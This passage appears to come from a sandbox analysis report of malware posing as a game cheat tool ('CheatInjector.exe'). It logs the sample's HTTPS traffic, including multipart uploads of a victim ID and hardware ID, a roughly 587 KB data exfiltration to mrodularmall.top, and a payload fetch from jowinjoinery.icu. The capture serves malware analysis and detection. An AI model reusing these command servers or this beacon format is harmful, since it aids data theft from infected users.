2025-03-13 12:39:53 UTC	15331	OUT	Data Raw: 2d 2d 30 51 71 51 77 6d 48 43 61 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 39 63 61 32 32 63 66 35 64 39 31 33 32 65 62 39 63 34 39 37 31 39 36 64 61 31 63 65 62 34 32 35 34 63 61 35 64 30 64 39 64 31 33 65 32 30 33 30 32 33 61 32 34 39 65 0d 0a 2d 2d 30 51 71 51 77 6d 48 43 61 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 51 71 51 77 6d 48 43 61 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 35 32 39 30 31 41 44 46 30 36 36 Data Ascii: --0QqQwmHCaVContent-Disposition: form-data; name="uid"99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e--0QqQwmHCaVContent-Disposition: form-data; name="pid"3--0QqQwmHCaVContent-Disposition: form-data; name="hwid"3352901ADF066
2025-03-13 12:39:53 UTC	5204	OUT	Data Raw: 28 e8 6a 91 9d f7 59 ec 91 71 7d 99 9c a3 91 2e dd 0a 52 d5 d7 61 47 c5 a2 c3 9a 1c 33 28 bb 3a 63 3c d9 d1 3f 84 b4 a9 bf ce 76 da 98 52 cd b0 b9 b0 cc b0 03 3d a6 7e 7c ac ec 9d a1 45 cc aa 3d 27 1a 08 0c 45 12 00 09 7a 64 ec 9b 72 70 2a 73 a5 87 a6 46 09 cb b9 48 06 42 c1 e7 82 e0 f1 23 6b 5e 12 26 b9 7a e9 84 bf e4 c8 06 f2 8c 66 5a fc ee 58 28 73 5d bd 48 3d 11 13 08 e9 48 11 c9 fd 33 ec c7 ae a3 b0 62 7f b3 51 41 e7 44 b5 3a 5a a0 ad 6e 3f 24 55 0a 48 d3 01 43 54 3b a7 b0 be cb c1 a5 8e 82 da b2 d9 c0 e1 69 dc 98 2e 0f 19 95 7a 6b 6d 14 d0 47 d3 7c b5 e9 38 46 3a 39 f5 6e 6e 76 b0 c0 4c 33 cd 3e d9 a1 c2 93 a8 10 52 09 43 16 f9 48 37 7f 8d 02 0b 4e ea 28 18 64 98 e4 f0 ab 62 64 08 8d 80 d4 d7 3e b7 18 53 27 8d 76 fb aa 7f 89 5f e5 f4 54 4f 8d 02 79 Data Ascii: (jYq}.RaG3(:c<?vR=~\|E='Ezdrp*sFHB#k^&zfZX(s]H=H3bQAD:Zn?$UHCT;i.zkmG\|8F:9nnvL3>RCH7N(dbd>S'v_TOy
2025-03-13 12:39:54 UTC	815	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:39:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vK09PaN19FOlTxjLXfiBPG1OAk%2BOuK3eEAmh1RdibSAF1E2lDuD3SKtWJikKoAlnc61oPnozCQ8jhVubqAg%2FTlmxUecRZ2%2B7DB2FX1ElUBHUuX8ozF9pRD5TosAdH0pCed1K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb98be8c378df4-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=49644&min_rtt=45504&rtt_var=11642&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21490&delivery_rate=80871&cwnd=251&unsent_bytes=0&cid=843c6b767f5c6513&ts=1078&x=0"
2025-03-13 12:39:54 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 31 37 32 2e 35 39 2e 31 30 36 2e 32 33 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 172.59.106.23"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	104.21.32.1	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:39:56 UTC	277	OUT	POST /aNzS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WTRwLp2y6iJQE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2646 Host: mrodularmall.top
2025-03-13 12:39:56 UTC	2646	OUT	Data Raw: 2d 2d 57 54 52 77 4c 70 32 79 36 69 4a 51 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 39 63 61 32 32 63 66 35 64 39 31 33 32 65 62 39 63 34 39 37 31 39 36 64 61 31 63 65 62 34 32 35 34 63 61 35 64 30 64 39 64 31 33 65 32 30 33 30 32 33 61 32 34 39 65 0d 0a 2d 2d 57 54 52 77 4c 70 32 79 36 69 4a 51 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 54 52 77 4c 70 32 79 36 69 4a 51 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 35 32 Data Ascii: --WTRwLp2y6iJQEContent-Disposition: form-data; name="uid"99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e--WTRwLp2y6iJQEContent-Disposition: form-data; name="pid"1--WTRwLp2y6iJQEContent-Disposition: form-data; name="hwid"3352
2025-03-13 12:39:57 UTC	823	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:39:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dX5R%2FLY62wokxLPPb7DJ0Eu%2Bqi9mVC6UCQT30JTo9ef3sIV%2FCj2e6r%2FqORoZek8280HHbjTopRgv5%2B0BPELhP1Cqr4JCEpWrseb%2Fo1%2F%2FCIvWTziTGEGNi99HYKJkWi3lPbGf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb98d2eb732245-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=57267&min_rtt=49412&rtt_var=18624&sent=7&recv=10&lost=0&retrans=0&sent_bytes=2840&recv_bytes=3559&delivery_rate=82435&cwnd=252&unsent_bytes=0&cid=a5af1507ebe65d21&ts=1089&x=0"
2025-03-13 12:39:57 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 31 37 32 2e 35 39 2e 31 30 36 2e 32 33 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 172.59.106.23"}}
2025-03-13 12:39:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49720	104.21.32.1	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:39:59 UTC	277	OUT	POST /aNzS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=wzfaNKE2e01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587717 Host: mrodularmall.top
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: 2d 2d 77 7a 66 61 4e 4b 45 32 65 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 39 63 61 32 32 63 66 35 64 39 31 33 32 65 62 39 63 34 39 37 31 39 36 64 61 31 63 65 62 34 32 35 34 63 61 35 64 30 64 39 64 31 33 65 32 30 33 30 32 33 61 32 34 39 65 0d 0a 2d 2d 77 7a 66 61 4e 4b 45 32 65 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 77 7a 66 61 4e 4b 45 32 65 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 35 32 39 30 31 41 44 46 Data Ascii: --wzfaNKE2e01Content-Disposition: form-data; name="uid"99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e--wzfaNKE2e01Content-Disposition: form-data; name="pid"1--wzfaNKE2e01Content-Disposition: form-data; name="hwid"3352901ADF
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: 14 d0 b6 1a 6d 6f b2 b2 9d 51 08 d4 b6 dd 99 12 ea ec d5 2c 76 03 b8 4d d1 e6 70 be bd c3 a0 b0 9d 0a 39 38 43 a2 a1 57 cd 12 f5 51 b2 68 d2 c8 53 09 0a e1 1a 85 6a 4b a8 ad a1 e2 4b 0d 09 4a 86 f8 ac d7 a0 b6 48 6a d9 6d 24 95 7e 6c 7c 6a dd 23 16 6c ea b2 e1 68 de 3f 3f d2 e2 3b 67 fa c9 8a 0a 41 16 f8 11 95 18 bb ec 56 2a ac 61 e2 4e 22 d0 65 14 86 b8 19 3f 15 bc 3a 98 1e 6d 2d d0 b2 56 4b 0f 7a ec 16 24 f2 7c 68 57 42 47 24 13 ac a6 f8 5f 62 47 c0 c9 e6 47 bd 52 f1 c0 bd 40 c8 91 3d fa ae 11 8e 7d 3e 30 a3 b2 60 f4 09 6f c7 18 06 19 d1 ff 95 c3 4c 44 26 d9 4d bc c0 ed 59 21 a5 71 fd 24 63 c8 ba 10 9c 0f b5 fa 1c 5a 25 ae f7 f2 cd 6b b5 d0 f7 70 94 49 7f 47 1e 51 97 fc 57 ed ac 12 a7 d9 66 08 26 f6 a0 7c 45 f4 8d 1e 52 49 7c 52 c4 17 0a 8a 36 77 c6 50 Data Ascii: moQ,vMp98CWQhSjKKJHjm$~l\|j#lh??;gAV*aN"e?:m-VKz$\|hWBG$_bGGR@=}>0`oLD&MY!q$cZ%kpIGQWf&\|ERI\|R6wP
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: 0f 42 2e 0a 8a 81 ce db 15 31 86 f9 2f 3d 80 4d b5 32 b6 85 29 c8 78 9a cc ac 14 bf 04 3a 9b b0 c1 39 11 89 65 3d ee 29 49 9e 2e f5 79 e7 bd 19 1b 3f de 46 5f 52 e6 b0 45 30 68 73 4b e9 5c 20 90 c5 35 6f d6 a2 43 0c 68 a9 45 1a 3d f7 31 c4 08 3e 57 ff 3f c7 ff 55 cc 56 e0 b1 a8 24 de 0e 82 0e 1f 05 97 93 00 d6 e2 5e 99 bf 0e 2d db 84 38 ce a4 82 25 c3 4c 1b 58 3b 4b ee e4 fe 4d 50 1e 4b 52 e8 a8 b2 1c f8 24 c6 51 da 1c 19 60 e4 99 9d 2a d5 84 f4 01 48 a1 48 69 3c 03 07 4c 31 9e e8 83 a3 ea 98 6a 2f 05 89 ae 7b d1 48 be b6 c8 c1 31 8a aa e9 40 a8 99 73 de 8d a7 57 a9 be f9 66 e9 78 ef c1 42 ab c3 61 d6 39 07 70 cf 69 29 77 f6 9a 8b 2b f2 a3 f6 3b 3f b5 eb 46 23 f0 34 b6 55 f8 b7 1c 00 58 9c a6 2e 90 8c f5 96 6f f7 32 36 92 c3 4b a3 90 a5 79 c7 a6 41 76 b5 Data Ascii: B.1/=M2)x:9e=)I.y?F_RE0hsK\ 5oChE=1>W?UV$^-8%LX;KMPKR$Q`*HHi<L1j/{H1@sWfxBa9pi)w+;?F#4UX.o26KyAv
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: f8 4d 23 ca b5 6b cd bf f1 53 34 8e 1b 5b 2e 3e 85 57 8c 41 c4 27 57 2e 7d 61 4f 4d 7a bf 83 88 23 31 63 07 68 ad 21 fd 8b b6 ca dd 6a 77 10 9e 0f e8 35 20 e6 8a 31 c3 9c 00 5f e5 2f 27 a1 83 46 3b a4 f9 a2 c5 f9 7f d9 50 5f d7 32 6b 87 38 57 84 83 c0 2f 3a fc d1 7a 7c 81 af ef 40 63 65 b0 8e 76 00 bc ce b2 0d 4f c3 a8 3d a9 ec 36 7f b7 7f cd 52 81 d5 3a 2e fb 2d 16 c9 55 84 e0 ad ef fe ca d0 ad 12 f3 af 39 7d bf d1 0b a1 3d 3f 16 1d 91 82 46 d9 28 a4 ec 28 df 47 4f f2 bd a5 6d ea d9 5b ab d8 80 5a a7 55 55 b8 ba c4 5b c5 09 d1 34 85 4d f1 8a 73 c1 5e 86 49 6f 5c 05 a5 bd 2e 5b 01 8b 78 81 9c 12 e2 91 58 14 a7 cc 69 a4 97 70 6d 9c a3 e5 7a cc 31 0c b9 75 81 ec 16 10 fe d1 90 40 12 14 1d 46 9f 28 70 f7 60 a3 5b 07 15 36 2e c3 d1 07 a1 05 42 ca 8e c2 b3 ed Data Ascii: M#kS4[.>WA'W.}aOMz#1ch!jw5 1_/'F;P_2k8W/:z\|@cevO=6R:.-U9}=?F((GOm[ZUU[4Ms^Io\.[xXipmz1u@F(p`[6.B
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: cc 1a 0c 45 4d 40 86 d8 8d 93 69 19 68 f8 5d e8 e4 cb 88 6b d0 ca 83 4e 77 38 53 4b 48 6f e8 3c 3d 0f bd c1 ba a1 2f 97 a2 98 10 88 01 4e a4 74 a2 ad f3 dc ec c0 82 c3 d1 24 c5 31 0e 7b b8 8a 5a 76 05 46 5c c8 5a 58 87 80 27 29 9f 93 0c 83 29 f5 24 fd 05 7e 21 00 d2 e8 7f 69 e0 ce a3 ce d3 40 fd 6c 00 a6 04 ff a9 07 9b cf a8 cd 8d 42 b8 dd 0f 94 45 33 bb c5 31 8d ea 73 b9 ec 07 e8 18 9f 7c 02 ff 4b 0c d5 1e ef 33 37 e3 04 10 e5 70 e5 d7 d6 73 af 51 27 88 12 c1 ad 72 49 4a a7 57 8d db 64 a8 8d 97 68 ec 20 d5 7a 87 88 47 4b c7 3e ef c8 05 2f a0 62 bd 35 0d 9f c9 f3 40 30 51 62 35 3c 38 01 e3 71 a5 a7 00 57 12 f8 a7 2c da 42 05 da 02 b4 02 6e a1 c7 cc 03 e2 52 ca b9 44 44 fc b2 0a ad e2 6f 7f 2c e2 89 1e 94 20 25 1d ab 80 ef 49 e0 82 21 c8 72 d1 1f 4f 8c d4 Data Ascii: EM@ih]kNw8SKHo<=/Nt$1{ZvF\ZX'))$~!i@lBE31s\|K37psQ'rIJWdh zGK>/b5@0Qb5<8qW,BnRDDo, %I!rO
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: 05 05 46 9c b7 1f 5e b6 fd 44 4e a7 a9 c7 33 d6 0f 3d b4 ec 26 44 85 de d4 b6 dd a0 ad 5e f4 b7 e4 b7 5c be 8f a8 d2 36 0a 98 86 c9 a4 79 27 64 d5 01 31 62 9c d1 bc 15 d0 e3 97 2a ad 49 b8 3a 2f ec 9d 67 4e c8 4f dd 06 22 2c 96 ad b4 a3 07 56 a9 ff e7 d0 33 c1 d3 78 65 31 10 47 6c e5 21 bf 86 1a b4 c8 b1 e7 85 a3 4b bd a1 fa 11 fe ca 60 bc eb a6 32 fc 95 d4 e9 54 3d 8c d9 89 a3 e2 fb e6 8b 5d d6 66 c5 46 43 33 6f ef 5a d4 49 c2 ef f9 b2 36 ac bb 8b 64 b8 c8 55 f4 b3 8f b5 70 90 fd ac e5 3d e0 1e 92 b8 e4 87 1c 14 60 54 02 94 53 b2 6b ac 87 60 42 6c 22 d4 b2 15 46 bf be a9 a9 a9 2f 24 45 9e 66 63 d0 b4 e0 fa 52 aa bd f2 cb 4b 05 1e 2a 5a 02 69 62 2b 10 af e3 40 e1 e1 12 76 11 29 b5 b0 d8 72 29 7e 4c d6 45 a3 72 77 57 ef 7c 34 34 7e d1 c1 f5 06 f9 fe 3a 54 Data Ascii: F^DN3=&D^\6y'd1bI:/gNO",V3xe1Gl!K`2T=]fFC3oZI6dUp=`TSk`Bl"F/$EfcRKZib+@v)r)~LErwW\|44~:T
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: 7d 32 d8 e3 75 8a 9c bd f5 a3 39 ac b6 41 ad 04 23 b6 95 7a c3 c9 da 63 30 7c ee 3b 1f 54 27 cc a5 3a 6c 57 e1 92 7b ae fd 5b 17 07 82 7d d4 21 65 38 5d 84 2e 89 4e 79 81 00 01 d8 16 8c 47 26 c4 0b 8f f5 91 ed 3f 40 8a a6 b6 8a a5 ed 6e 53 57 ce 7f 80 56 11 6b 2c 5b bd a9 ef 0a b6 28 45 ee 72 d1 02 b3 86 b4 15 0b 7c 4a b7 73 25 02 0a cc 1a cd e7 d2 53 82 41 f8 95 36 45 26 f1 6a 32 79 19 2b ad 6a a5 a6 2d 30 c3 e1 e7 ef 36 0d 47 14 20 b5 4a b1 2a aa 99 0b 75 bf 30 0c 05 22 46 9e fa ed 57 8b 06 f2 eb 7c b9 a7 64 69 06 85 79 f9 fa aa cd 16 20 a8 2c 6b 99 0a ed dd 02 ee 68 67 ef c5 8d bf b2 06 5c 56 19 ac 91 59 3b c7 73 10 3f 10 8b 59 2a 42 bd f1 41 85 c1 80 09 c8 fd cf 10 dc 1e 13 60 2b 15 91 2b 0d d9 b8 4e b6 66 c5 c9 90 d2 40 04 48 bc 58 21 db 4f 1d 8f 59 Data Ascii: }2u9A#zc0\|;T':lW{[}!e8].NyG&?@nSWVk,[(Er\|Js%SA6E&j2y+j-06G Ju0"FW\|diy ,khg\VY;s?YBA`++Nf@HX!OY
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: 00 25 63 61 d8 b1 05 96 ac 08 0f 25 ae 9c 2c c0 8e f9 b9 1c 1a ab 0f 22 f5 ee af 38 dd b5 b4 a6 22 51 44 0a 1f e3 36 a9 f2 dd 64 2a 63 ac 30 fc 6a d6 31 a3 1b 39 75 75 1a 53 4f 59 0b d1 92 7d 53 5c 66 f9 ad 19 6e f4 d2 8a cb a5 6c 47 63 ec 4e 16 e3 11 ae e7 31 0e 8c bf 2e f2 be 55 09 7c b8 67 30 d8 69 f7 6a d3 be b6 28 ef 14 5c fd c2 40 62 48 a3 cb de ba 81 7d cd 58 5e 4e 8a cc 33 60 f1 bc 16 97 ca 07 6d c1 77 9d 8f ca f7 fc 89 a8 fb 35 7d f8 1e 72 54 d0 8a c1 af 7a 07 63 ca 0f 59 4b 95 96 d0 c4 36 39 54 a3 38 c9 5b 20 79 ce bd f1 f0 a5 a8 a6 e0 61 05 f4 28 42 2c 00 e6 9d de 09 61 2a d5 13 ad d2 ec bb 20 27 60 9a 60 47 aa c0 d5 2e 86 0e 88 a7 30 fb eb bc bb 05 ed ac ca 33 76 98 38 a8 72 f9 da 70 1d 38 e5 29 a9 a6 89 c1 59 00 fd f7 67 45 af 73 00 6e 02 8e Data Ascii: %ca%,"8"QD6dc0j19uuSOY}S\fnlGcN1.U\|g0ij(\@bH}X^N3`mw5}rTzcYK69T8[ ya(B,a '``G.03v8rp8)YgEsn
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: 27 c8 91 c7 48 5c 55 2f 62 33 59 eb 79 6e 27 b2 d6 ed 1a 5a 14 e0 b9 9e 1d 16 97 d8 56 e0 45 87 4f be ad 49 4e 1a 62 99 c0 e8 3a 56 af 8f 73 27 40 c6 f0 01 b0 5a 2a 38 bc a9 51 72 1c 7f 93 05 cd 15 8f cf ec 91 e4 22 ee 96 2c e0 bf ea 7e 6d f5 d2 98 8e af f5 c3 3c e2 1d d0 5b e5 53 88 dc 6c a9 61 b2 8a df bc 53 6b 10 99 59 d3 c9 b4 50 ee ca 6d e9 7a 1f 51 b2 fd 34 a9 6b 83 c7 2d 41 b3 1c dc 1b 55 48 97 93 80 6b 33 8d 68 2f 2f 5e 07 83 6f 31 54 96 9e f7 c7 1a 43 e4 b6 a2 9f d9 0c 40 46 33 89 84 e0 87 95 74 12 c6 bb cb 96 70 9b 7e fa 83 4f e7 08 b2 05 55 09 b9 a0 53 83 8e 4b a7 2f 7d 5b 8d 27 6a ab 0e 95 4a fd c1 2c 4d 36 4d 65 ce 11 51 a6 67 5a 6b 4b f2 3b 90 c2 f4 4e cd c2 68 37 d8 7d 20 05 55 bb d2 f2 f4 78 0d 8a c4 22 5a c1 32 bb ac d3 81 da 55 43 a7 78 Data Ascii: 'H\U/b3Yyn'ZVEOINb:Vs'@Z*8Qr",~m<[SlaSkYPmzQ4k-AUHk3h//^o1TC@F3tp~OUSK/}['jJ,M6MeQgZkK;Nh7} Ux"Z2UCx
2025-03-13 12:39:59 UTC	15331	OUT	Data Raw: cf d4 f2 6a 49 29 42 da 7d ac a2 fe 4b ee 55 02 95 40 fd df 2d e4 0d e4 0b 65 1f 3a b6 37 59 07 92 0e 06 9f 9a a3 b5 6c e6 22 b1 66 51 e6 69 ec 3b 41 eb 5a 81 5f c5 4e b9 a8 c6 de e8 62 44 4f ca d9 bc c0 70 42 9b c2 b4 1d fe 1c c1 83 46 54 46 ad 64 61 b6 8d 4a 35 d4 00 b7 79 ab 4f 4d 07 3d 51 c8 d0 0d a4 25 40 c8 20 f7 19 86 a1 56 87 fa 4e f4 ca 63 3f 60 32 18 c9 d8 f7 ba 80 69 b3 8b 2e b5 9d 88 c0 74 5f 49 77 b9 69 ab 20 f7 1f ef b2 c9 1a 42 43 c3 c6 fa 38 4f 99 46 a7 b0 86 5c e4 bd ec 53 7f fa 5c cc ec 45 a6 06 93 03 a2 4e b9 b6 6d d9 47 18 b6 e1 2d 99 31 18 7d 19 6d 7b 1a 4a f5 af f5 84 6b b1 67 9a 3d 1f 24 2f 3e 1d 2f 29 99 47 53 da 2f a9 e5 70 ae f8 8a 90 fc e5 7c 90 d3 21 1d 37 90 9c c2 b1 23 e9 2f 74 87 05 45 4a 67 11 47 b4 76 92 d6 4b 1f b7 69 aa Data Ascii: jI)B}KU@-e:7Yl"fQi;AZ_NbDOpBFTFdaJ5yOM=Q%@ VNc?`2i.t_Iwi BC8OF\S\ENmG-1}m{Jkg=$/>/)GS/p\|!7#/tEJgGvKi
2025-03-13 12:40:02 UTC	824	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hla1a8%2BcaW1n5J%2FNoAnFEEGPNqW2Oee6Ju57bsv86Gp90%2B2ugJ0IB4xfQjrS%2BHHb%2BVkBO0uTDpf4Op3qxx4we7Iv6JcHLxEtBizh0Uu59%2FnOGD9Bwmz84hnEeYhymnSoHNCz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb98e6af8ab3ef-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=60419&min_rtt=54879&rtt_var=19919&sent=192&recv=453&lost=0&retrans=0&sent_bytes=2840&recv_bytes=590302&delivery_rate=57032&cwnd=252&unsent_bytes=0&cid=28a0662a7a03bc5b&ts=3116&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	188.114.96.3	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:40:05 UTC	267	OUT	POST /bdWUa HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 103 Host: jowinjoinery.icu
2025-03-13 12:40:05 UTC	103	OUT	Data Raw: 75 69 64 3d 39 39 63 61 32 32 63 66 35 64 39 31 33 32 65 62 39 63 34 39 37 31 39 36 64 61 31 63 65 62 34 32 35 34 63 61 35 64 30 64 39 64 31 33 65 32 30 33 30 32 33 61 32 34 39 65 26 63 69 64 3d 26 68 77 69 64 3d 33 33 35 32 39 30 31 41 44 46 30 36 36 39 35 43 34 42 30 43 41 36 42 45 32 43 36 30 31 38 46 42 Data Ascii: uid=99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e&cid=&hwid=3352901ADF06695C4B0CA6BE2C6018FB
2025-03-13 12:40:05 UTC	784	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:40:05 GMT Content-Type: application/octet-stream Content-Length: 10452 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=INxfLE8eOezMewy4SRn4V0FNWAKwVWledFhpwngpkR87hcvPoHSZWsLzG6YcxqDJoT76%2FsX9%2B7iaZtmVZE0QH9lV6A5TCUY9C5iuhQbcfk3h6lOpB4d%2FDAuCmo3Z5rekGYi6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb99090cf7464a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=37400&min_rtt=34692&rtt_var=11694&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1006&delivery_rate=89043&cwnd=236&unsent_bytes=0&cid=6b84618f8ea10501&ts=1222&x=0"
2025-03-13 12:40:05 UTC	1369	IN	Data Raw: b9 21 d6 20 a1 ec eb 7b 9e d0 90 81 88 49 3d e3 55 8b b2 c8 b5 c5 5e c8 52 d7 e4 73 5e 71 74 a1 9e 43 e8 39 90 54 e4 aa 1a 3c 20 4e 9d 17 63 37 8b 81 1a a0 87 fa 00 31 7b 49 8e c4 42 2a 9e 13 c4 11 8e 4a 54 7d 20 c5 bb bc 79 e1 d4 b5 a5 1e 0a 71 a4 91 0e 59 f5 c3 16 6e 11 f5 37 51 3a 47 db c0 8a 06 d2 e6 72 f1 1f 5f 68 51 af e2 77 2e 49 ca ed 44 51 6b 90 cb 71 ce fd 08 4c 1a c7 8e 39 9c 59 95 b9 92 6d 94 c0 59 14 7c 59 11 f4 e9 c8 79 c4 f2 a9 22 d2 42 33 d5 f2 93 87 c2 2d ed 4d d6 b4 78 f0 3c cc b3 ba 23 df 34 2c 1a 32 ad 14 74 83 e4 af cc f1 68 82 c7 bb 68 fe 8c d3 10 b8 e1 31 57 fd c1 42 8a 74 23 80 3b 2d b8 30 ba 43 d8 40 11 2b fd ac b1 c7 58 a2 0c d7 44 11 85 d4 61 39 9c 87 08 ff 8c 03 e2 92 d4 25 f0 53 78 da fe 83 30 e2 68 0a 63 ee 61 ee 76 80 49 c3 Data Ascii: ! {I=U^Rs^qtC9T< Nc71{IB*JT} yqYn7Q:Gr_hQw.IDQkqL9YmY\|Yy"B3-Mx<#4,2thh1WBt#;-0C@+XDa9%Sx0hcavI
